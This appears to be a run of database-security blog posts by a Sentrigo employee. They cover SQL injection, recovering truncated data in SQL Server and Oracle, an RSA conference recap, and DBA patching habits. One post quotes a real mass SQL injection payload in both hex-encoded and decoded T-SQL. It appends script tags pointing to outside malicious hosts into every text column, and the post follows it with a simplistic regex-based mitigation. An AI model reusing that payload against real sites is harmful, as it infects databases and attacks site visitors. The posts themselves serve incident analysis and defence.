Adrian Lane writes in his blog entry about separation of duties on the application level. While I agree with his sentiments I also know how hard it is to do so from the application development side. In most applications , database connections are using connection pooling. Creating such a separation makes the development process a lot harder. You have a choice of either using separate pools for separate functionality (thus creating transactional problems if you have to do both an administrative and a non-administrative task in the same flow) or using vendor specific light user connections (Oracle provides this) but most tools do not support it. Also, if this is a targeted attack and the attacker has found an SQL injection in your application, it doesn’t really matter under what user the application connects to the database since there are so many ways to perform privilege escalation attacks and own the database from a low privileged account on most DBMSs.
As I always say, the best way to solve SQL injection problems is to use bind variables! Of course, making sure that no code without bind variables ever enters the application is another story
Well, it was an interesting day today for us in Sentrigo. One of our customers was being attacked by this massSQL injection and since our software identified the attack he came to us to help him cope with the situation. As explained in other places, the attack takes advantage of vulnerable web sites and infects text fields in the database with a malicious Javascript. So, in our case, the initial attack started with the following SQL injection (I removed the actual table names and slightly changed the attack):
SELECT * FROM dbo.xxx WHERE yyy=1;DECLARE @S VARCHAR(4000);SET @S=CAST(0×4445434C415245204054205641524348415228323535292C4043205641524348415228323
53529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C4543542
0612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E
73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E44202862
2E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220
622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420
46524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C452840404645544348
5F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554
205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40
432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E616477626E722E636F6D
2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F
437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F722044
45414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));– ORDER BY ooo ASC
Couple of things to notice:
As you can see, the pure int parameter was being treated by the application as a string and was concatenated directly into the query thus allowing an attacker to add anything he wants because SQL Server supports multiple commands in the same round-trip (batch) using “;”
The attack itself was hex-encoded to avoid detection and various complications
The attack decodes in SQL Server to the following code:
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype=’u’ AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC(’UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+”<script src=http://www.chkadw.com/b.js></script>”’) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
As you can see, this simple T-SQL iterates on all tables with text fields and appends a call to a script which in turn will attack visitors to the website. Since Hedgehog (our database activity monitoring tool) monitors database memory directly, we could see the command being executed in the decoded form which is really one of our strong points and makes it hard for attackers to evade detection.
So, after detecting the attack and terminating the offending sessions the customer asked our help in fixing his website. We’ve received the ASP source for his website and to my pleasant surprise, the code, although old, was very tidy and actually contained an attempt to prevent SQL injections. Every concatenation of parameters into SQL queries was done as follows:
“SELECT x FROM y WHERE z = ” + Replace(param, “‘”, “””)
Unfortunately, there are a couple of things wrong with this method:
If you go through the trouble of trying to escape parameters before concatenation, please use a central function so it will be easy to fix across the application
Most of the parameters are simple integers and no type checks are performed
Come on, the best way to avoid SQL injection is to use bind variables (parameterized queries). And it will also make your code run faster as the database will be able to cache the execution plan for the statements
Since the application contained many files, it was not feasible to actually go and change all the code to bind variables so I’ve added the following function to a central include file:
<%
Function stripSQL(param)
stripSQL = Replace(param, “‘”, “””)
Set RegularExpressionObject = New RegExp
‘ First pattern is the ; until –
With RegularExpressionObject
.Pattern = “;.+CAST\(.+–”
.IgnoreCase = True
.Global = True
End With
stripSQL = RegularExpressionObject.Replace(stripSQL, “”)
‘ Just to be on the safe side, replace all ;
stripSQL = Replace(stripSQL, “;”, “,”)
Set RegularExpressionObject = nothing
End Function
%>
This function, while very simplistic and definitely exploit oriented, was sufficient to stop the attack because we’ve removed the injected code from being concatenated.
Now, a simple Perl script to replace all the “Replace” occurrences in all files:
perl -i.bak -pe “s#Replace\((\w+), \x22\x27\x22, \x22\x27\x27\x22\)#stripSQL\($1\)#g” *.asp
As I wrote in a previous post, truncating tables or scrambling content might not remove the actual data from the datafiles. The examples I gave in that post were Oracle related and now I’ll show the same using MS SQL Server 2005. I’d like to thank Dmitriy Geyzerskiy for providing the actual working example.
create database Test
go
use Test
go
– Create a dummy table
create table aaa (a varchar(100));
go
BEGIN TRANSACTION
– Populate with dummy data (object names)
insert into aaa
select name from sys.all_objects;
COMMIT;
– Make sure the data is flushed to the disk
CHECKPOINT;
–get the file and page offsets
SELECT
CONVERT (VARCHAR (6),
CONVERT (INT,
SUBSTRING (sa.first_page, 6, 1) +
SUBSTRING (sa.first_page, 5, 1))) as [File offset],
CONVERT (VARCHAR (20),
CONVERT (INT,
SUBSTRING (sa.first_page, 4, 1) +
SUBSTRING (sa.first_page, 3, 1) +
SUBSTRING (sa.first_page, 2, 1) +
SUBSTRING (sa.first_page, 1, 1))) AS [First page]
FROM
sys.system_internals_allocation_units AS sa,
sys.partitions AS sp
WHERE
sa.container_id = sp.partition_id
AND sp.object_id = OBJECT_ID(’aaa’);
–Allow DBCC output in user window
DBCC TRACEON(3604)
–truncate the table
TRUNCATE TABLE aaa
–examine the contents of the page (all the objects from the truncated table are there)
DBCC PAGE (’Test’, — database name
1, — [File offset] from previous query
73, — [First page] from previous query
3) — extended output option
I had an interesting conversation with Alexander Kornbrust yesterday about cloning databases. Most DBAs I know copy database files from production to create staging, integration and test environments. Those environments contain a lot of sensitive information (PII, CC, etc.) which is usually either deleted, scrambled or truncated. The problem with these solutions is that most DBAs forget that the database performs logical deletes and not physical deletes. This can be easily demonstrated on Oracle by the following simple steps that create a table, populate it using dummy data, truncating it and showing the data from the dump file:
create table test(t varchar2(30));
insert into test select object_name from user_objects where rownum < 1000;
commit;
select dbms_rowid.rowid_relative_fno(rowid), dbms_rowid.rowid_block_number(rowid) from test where rownum < 2;
truncate table test;
For the following step, replace ‘x’ and ‘y’ with the results from the previous select
alter system dump datafile x block y;
show parameter user_dump_dest
Check out the new file in the user_dump_dest directory. The file will contain the truncated data in the block.
Of course, this is just an example but it is worth thinking about. It is also worth considering TDE to protect the data files from direct reading.
DBAs out there - what do you do to remove sensitive information from your non-production environments?
It’s been a while since I’ve blogged. Hit a dry spell, I guess. Will try to post more frequently and about some technical issues as well. Anyway, I’m at the RSA conference in San Francisco for the entire week. It’s been a great conference so far with interesting keynotes and sessions. Also, a lot of evening receptions that basically give you an excuse to drink beer and wine
I visited the PCI reception on Monday evening which was a big success with many interesting conversations. Spoke with many security managers from large organizations about PCI. It turns out that 99% of the people I’ve talked with are either in the midst of a PCI audit or have just undergone one. Interestingly, when asked about database security, most of the security managers I’ve talked with are saying that this is the next thing for them to invest in.
On Tuesday evening, I went to the SC magazine awards gala. My company (Sentrigo) was nominated for “Rookie security company of the year” which is very important to me and shows the security industry’s recognition of the importance of database security. And the best part of the evening was that we actually won!!! It was amazing being called to the stage and later interviewed for the magazine. I felt a bit like at the Oscars… Sorry about the poor image quality…
The only problem with the conference so far is that I actually don’t have enough time to go to all the sessions and keynotes I would like to go to. Too many meetings, I guess…
Next week, I’ll be presenting at Collaborate08 in Denver under the auspices of IOUG - if you’re around come and see me on Monday, or catch me later at our booth (#1826) in the IOUG section.
In the summary of her post she raises an important issue - that most DBAs are reactive rather than proactive when it comes to monitoring their databases. I’ll take this even further… it’s not just DBAs (and I’m not going to get into the whole issue of who owns database activity monitoring…) but companies in general are too reactive when it comes to database security.
Yes, I know that security doesn’t generate revenues, it doesn’t even reduce costs - at least not in any consistent, measurable way. Security is all about reducing risk and the cost associated with that risk. The problem is that by being reactive, companies are addressing yesterday’s risks, not today’s or tomorrow’s risks. There are a several biases in how the IT security budget is allocated, and one of the biggest biases is the visibility bias: The tendency to invest in protecting against visible threats, even if they are small. Spam is a good example. It doesn’t do much harm, but it’s visible every day in everyone’s inbox (I’m not talking about malware, just the “classic” commercial spam which is 99.9% of spam). Companies are investing more today in reducing the marginal spam to the n-th degree, with diminishing returns, than they are in database security. Far more.
Risk, on the other hand, is not just a question of visibility or sheer quantity. It’s also a question of the potential damage of even a single attack, and the probability of such an attack succeeding. The risk posed by inadequate database security is currently greater than the risk posed by spam, given the counter-measures already in place for the latter. Yet many enterprises, by force of habit and inertia, continue to invest in protecting against threats for which they already have good enough solutions, whereas other areas remain barren. Some companies do, of course, shift their attention to new threats every once in a while, but I wonder how many enterprises do an annual (or more frequent) risk assessment that includes a “green field” threat analysis and gap analysis?
Just a short announcement this time - Sentrigo is hosting a live webinar/webcast with Pete Finnigan where he’ll share his wisdom on Oracle database security, show some attack vectors and how one can detect and prevent them, as well as other good stuff.
Those of you who’ve ever attended one of Pete’s masterclasses at an OUG or security conference know that they are well worth attending, and those of you who haven’t - you’re now given the chance to attend from the comfort of your own computer…
It takes place on Friday, March 28th. You need to register in advance - here.
Totally unrelated to database security but I’ve read this interesting bit on /. while flying to the US. It got me thinking - how does China prevent people from going to restricted sites like blogger.com? Do Chinese ISPs use some form of IP filtering? Do they parse HTTP and prevent proxies? How about HTTPS? and SSH? I’m thinking that if SSH (or HTTPS for that matter) is allowed, one can easily do port forwarding to surf whatever site he wants as long as he has SSH access to a server outside China. It’s as east as setting local hosts file to point blogger.com to 127.0.0.1 and running ssh -L80:blogger.com:80 user@host.outside.china and then pointing your browser to blogger.com. It can’t be that simple, can it?
In a recent survey we conducted, it turned out the DBAs are mostly ignoring security patches. Two thirds of the DBAs have never applied a CPU and only about 10% of them are applying CPUs in a timely fashion. After releasing the survey, we had some interesting responses in online publications and blogs which I would like to address in this post.
Response number 1 - Lies, damned lies, and statistics
The survey is made up, we asked the wrong questions, we did not understand the answers and my favorite - the survey contacted only lazy DBAs between at home between 1PM and 3PM.
Well, let me set the record straight here - the rolling survey was conducted in face to face OUG meetings - 14 different ones across the US, anywhere from 10 people in a room to 45 people. We did not select who was invited or who attended. These were OUG members who chose to attend our sessions. If anything, I would say these were people rather more interested in database security than the average.
We asked two questions -
1) Have you installed the latest Oracle CPU? (actually, since some meetings where right after the CPU we’ve asked about the latest 2 CPUs).
2) Have you ever installed an Oracle CPU?
You can find the actual answers in the survey itself. I should add that the results were quite similar across the different OUG meetings.
I can relate to this disbelief in the results. It sounds amazing that the most important assets of the organization are left un-patched especially after so many publicized incidents. But those in the know already knewthis.
Response number 2 - DBAs are just lazy
Well, as a former DBA for many years I definitely do not insinuate that DBAs are lazy. The simple fact is that they just have too much working against them when trying to apply the CPUs:
1. The need to test all applications using the database is a heavy burden
2. Oracle supports only the latest patchsets
3. The lack of application vendor certification of the CPUs
4. The simple fact that it takes a huge amount of work to manually shutdown the database and apply the patch in an organization running hundreds if not thousands of instances
5. For production critical databases you have to consider maintenance windows which might come once a year
6. The lack of understanding by some IT security personnel of the severity of the problem simply does not generate enough pressure in the organization - please see Rich Mogull’s excellent post on this topic.
All in all, I know of companies that analyze and deploy CPUs as soon as three months after release but those companies are very few and usually have budgets in the millions for such things…
Response number 3 - Yeah, we all knew that is the case
I know, I knew it as well being a DBA and all. But I always thought that DBAs at least deploy the patches after testing them. We are talking about severe vulnerabilities. Some of them are remotely exploitable without credentials.
A final remark - as always in security - use common sense:
1) Install only what you use, don’t install features you are not going to use and remove them if installed by default - many vulnerabilities are in rarely used components like Oracle Spatial, etc.
2) Use the least privilege principle - give the minimum permissions required for the task - every permission can be used to attack the database (create view, create procedure, etc.). Many packages can be used for an attack. Lock them down.
3) Check for default and weak passwords - there are many tools out there. Check after every patch as there were cases it restored default accounts.
4) Secure the network - use firewalls, valid node checking, etc.
5) Use secure coding - bind variables, bind variables, bind variables.
There are many white papers out there talking about Oracle security…
Mike Rothman (of Security Incite) has a new series of podcasts over on eBizQ (where my VP marketing was interviewed a while back on the same topic). In the latest podcast, the 2nd in the series, Mike interviews Rich Mogull on the topic of database security.
If you didn’t “get it” until now, or if you have a hard time explaining database security to your colleagues/boss - just send them the link.
At one point in the interview, Rich mentions the availability of some free tools, so this is the time to remind everyone that my company, Sentrigo, provides a free, downloadable version of Hedgehog, our database activity monitoring solution.
